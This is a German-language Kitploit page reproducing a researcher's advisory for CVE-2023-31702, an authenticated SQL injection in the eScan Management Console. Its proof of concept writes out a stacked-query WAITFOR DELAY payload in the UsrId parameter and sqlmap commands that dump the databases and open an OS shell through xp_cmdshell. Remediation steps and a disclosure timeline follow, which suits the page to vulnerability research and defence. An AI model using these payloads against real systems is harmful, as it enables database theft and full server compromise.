Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-31702 — CVE-2023-31702 ist eine authentifizierte SQL-Injection-Schwachstelle, die in der MicroWorld Technologies eScan Management Console Version 14.0.1400.2281 entdeckt wurde. | Kitploit
Tools/GitHubGitHub/sahiloj/cve-2023-31702
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungDatenbanksicherheit
GitHubsahiloj/cve-2023-31702

CVE-2023-31702

CVE-2023-31702 ist eine authentifizierte SQL-Injection-Schwachstelle, die in der MicroWorld Technologies eScan Management Console Version 14.0.1400.2281 entdeckt wurde.

Repository anzeigen
211vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2023-31702 — SQL-Injection in der eScan Management Console (authentifiziert)

CVE Severity Type Auth


Übersicht

CVE-2023-31702 ist eine authentifizierte SQL-Injection-Schwachstelle, die in MicroWorld Technologies eScan Management Console Version 14.0.1400.2281 entdeckt wurde. Die Schwachstelle besteht im GetUserCurrentPwd-Endpunkt, wobei der Parameter UsrId direkt in eine SQL-Abfrage übernommen wird, ohne ordnungsgemäße Bereinigung oder Verwendung parametrisierter Abfragen. Ein authentifizierter Angreifer kann diese Schwachstelle ausnutzen, um eine zeitbasierte Blind-SQL-Injection durchzuführen, die gesamte Backend-Datenbank auszulesen und letztendlich eine interaktive OS-Befehlsshell auf dem zugrunde liegenden Microsoft SQL Server zu erhalten — was zu einer vollständigen Kompromittierung des Systems führt.


Details zur Schwachstelle

FeldDetails
CVE-IDCVE-2023-31702
SchwachstellentypSQL Injection (zeitbasierte Blind / Gestapelte Abfragen)
Betroffenes ProduktMicroWorld Technologies eScan Management Console
Betroffene Version14.0.1400.2281
Gefährdeter Endpunkt/ewconsole/ewconsole.dll/GetUserCurrentPwd
Gefährdeter ParameterUsrId
AuthentifizierungErforderlich (gültige Konsolenanmeldedaten)
Getestet aufWindows
CVSS-v3.1-Wert8.8 (Hoch)
CVSS-VektorAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Gemeldet am16. Mai 2023
AutorSahil Ojha

Betroffene Software

FeldDetails
AnbieterMicroWorld Technologies
ProdukteScan Management Console
Website des Anbietershttps://www.escanav.com
Software-Linkhttps://cl.escanav.com/ewconsole.dll
PlattformWindows

Beschreibung der Schwachstelle

Die eScan Management Console bietet eine webbasierte Oberfläche zur Verwaltung der Endpoint-Sicherheit im Netzwerk einer Organisation. Die Funktion „Benutzerprofil anzeigen" stellt einen REST-ähnlichen Endpunkt bereit:

root@kitploit:~
/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=<ID>&cnt=<counter>

Der Parameter UsrId wird ohne Validierung, Escaping oder Verwendung parametrisierter Abfragen in eine Backend-SQL-Abfrage aufgenommen. Dies ermöglicht es einem authentifizierten Angreifer, beliebige SQL-Anweisungen in die Abfrage einzuschleusen, was zu Folgendem führt:

  • Zeitbasierte Blind-SQL-Injection — Verwendung von WAITFOR DELAY, um die Ausnutzbarkeit zu bestätigen.
  • Gestapelte Abfragen (Stacked Queries) — ermöglicht Payloads mit mehreren Anweisungen.
  • Vollständiger Datenbank-Dump — Extraktion aller Tabellen, Benutzer, Anmeldedaten und sensiblen Daten aus dem SQL-Server-Backend.
  • OS-Befehlsausführung — Nutzung der gespeicherten Prozedur xp_cmdshell des SQL Servers (aktiviert über sp_configure), um beliebige Betriebssystembefehle auf dem Server mit den Berechtigungen des SQL-Server-Dienstkontos auszuführen.

Auswirkungen

Eine erfolgreiche Ausnutzung dieser Schwachstelle ermöglicht es einem Angreifer:

  • 🔴 Die gesamte SQL-Server-Datenbank auszulesen, einschließlich Benutzeranmeldedaten, Konfigurationsdaten und sensibler Unternehmensinformationen.
  • 🔴 Eine interaktive OS-Shell auf dem Windows-Server zu erhalten, auf dem die SQL-Server-Instanz gehostet wird.
  • 🔴 Beliebige OS-Befehle auszuführen (z. B. Hintertür-Konten erstellen, Daten exfiltrieren, zu internen Netzwerkressourcen wechseln).
  • 🔴 Den eScan-Verwaltungsserver vollständig zu kompromittieren und möglicherweise alle von ihm verwalteten Endpunkte.

⚠️ Hinweis: Der Angreifer muss zunächst gültige Anmeldedaten für die eScan Management Console erlangen. Nach erfolgreicher Authentifizierung ist die Ausnutzung jedoch unkompliziert und erfordert keine erhöhten Konsolenrechte.


Proof of Concept

Schritt 1 — Zugriff auf den gefährdeten Endpunkt

Nach der Authentifizierung an der eScan Management Console navigieren Sie zur folgenden URL:

root@kitploit:~
https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493

Dies gibt die aktuellen Benutzerprofildaten zurück und bestätigt, dass der Endpunkt erreichbar ist.

Gefährdeter Endpunkt


Schritt 2 — SQL-Injection mit zeitbasiertem Payload bestätigen

Fügen Sie den folgenden Zeitverzögerungs-Payload in den Parameter UsrId ein:

root@kitploit:~
https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1;WAITFOR DELAY '0:0:5'--&cnt=4176

Aufbau des Payloads:

  • ; — beendet die ursprüngliche SQL-Anweisung und beginnt eine neue (gestapelte Abfrage).
  • WAITFOR DELAY '0:0:5' — weist den SQL Server an, 5 Sekunden zu warten, bevor er antwortet.
  • -- — kommentiert den Rest der ursprünglichen Abfrage aus, um Syntaxfehler zu verhindern.

Wenn die Antwort des Servers um etwa 5 Sekunden verzögert wird, ist die Injektion bestätigt.

Zeitbasierte Injektion bestätigt


Schritt 3 — Datenbanken mit SQLMap auslesen

Sobald die Blind-SQL-Injection bestätigt ist, kann die gesamte Datenbank mithilfe von SQLMap ausgelesen werden:

root@kitploit:~
sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
  --cookie="<session_cookie>" \
  --dbms=mssql \
  --dbs \
  --batch

Dies listet alle Datenbanken auf, die auf dem Backend-SQL-Server gehostet werden.


Schritt 4 — Eine OS-Shell über SQLMap erhalten

SQLMap kann den Angriff außerdem auf die Ausführung von Befehlen auf OS-Ebene ausweiten, indem xp_cmdshell aktiviert und genutzt wird:

root@kitploit:~
sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
  --cookie="<session_cookie>" \
  --dbms=mssql \
  --os-shell \
  --batch

Dies richtet eine interaktive OS-Shell auf dem SQL-Server-Host ein.

OS-Shell über SQLMap erhalten


Schritt 5 — OS-Befehle auf dem Server ausführen

Mit eingerichteter OS-Shell können beliebige Windows-Befehle auf dem Server ausgeführt werden:

Ausführen von OS-Befehlen


Behebung

Die folgenden Maßnahmen werden dringend empfohlen, um diese Schwachstelle zu beheben und abzuschwächen:

  1. Parametrisierte Abfragen / Prepared Statements verwenden — Benutzereingaben niemals direkt in SQL-Abfragen einbetten. Verwenden Sie gebundene Parameter, um Daten von der Abfragelogik zu trennen.

  2. Eingabevalidierung und -bereinigung — Validieren Sie alle vom Benutzer bereitgestellten Parameter serverseitig streng. Erzwingen Sie für numerische Bezeichner wie UsrId eine reine Ganzzahl-Eingabe und lehnen Sie jeden Wert ab, der Sonderzeichen enthält.

  3. Herstellerpatch anwenden — Aktualisieren Sie die eScan Management Console auf die neueste verfügbare Version. Kontaktieren Sie den MicroWorld Technologies-Support oder konsultieren Sie dessen Sicherheitshinweise für die neueste gepatchte Version.

  4. Prinzip der geringsten Rechte für Datenbankkonten — Das Datenbankkonto der Anwendung sollte nur über die mindestens erforderlichen Berechtigungen verfügen. Es sollte nicht über die Rollen sysadmin oder db_owner verfügen, und xp_cmdshell sollte deaktiviert sein.

  5. xp_cmdshell deaktivieren — Deaktivieren Sie, sofern nicht ausdrücklich erforderlich, die erweiterte gespeicherte Prozedur xp_cmdshell auf der SQL-Server-Instanz:

    root@kitploit:~
    EXEC sp_configure 'xp_cmdshell', 0;
    RECONFIGURE;
    
  6. Web Application Firewall (WAF) — Setzen Sie eine WAF ein, um gängige SQL-Injection-Muster als Maßnahme der Verteidigung in der Tiefe zu erkennen und zu blockieren.

  7. Netzwerksegmentierung — Beschränken Sie den Zugriff auf die eScan Management Console auf vertrauenswürdige IP-Bereiche und stellen Sie sicher, dass der SQL Server nicht direkt dem Internet ausgesetzt ist.


Offenlegungszeitplan

DatumEreignis
16. Mai 2023Schwachstelle von Sahil Ojha entdeckt und gemeldet
Mai 2023CVE-2023-31702 von MITRE vergeben
Mai 2023Öffentliche Offenlegung

Referenzen

  • NVD — CVE-2023-31702 (aktuellen Veröffentlichungsstatus in der NVD prüfen)
  • MITRE — CVE-2023-31702 (aktuellen Veröffentlichungsstatus bei MITRE prüfen)
  • MicroWorld Technologies eScan
  • SQLMap — Automatisches SQL-Injection-Tool
  • OWASP — SQL Injection
  • CWE-89 — Unsachgemäße Neutralisierung von Sonderzeichen in einem SQL-Befehl

Autor

Sahil Ojha — Sicherheitsforscher

Diese Offenlegung dient ausschließlich Bildungs- und Sicherheitsforschungszwecken. Die Ausnutzung dieser Schwachstelle gegen Systeme ohne ausdrückliche schriftliche Genehmigung ist illegal und unethisch.

Tool herunterladen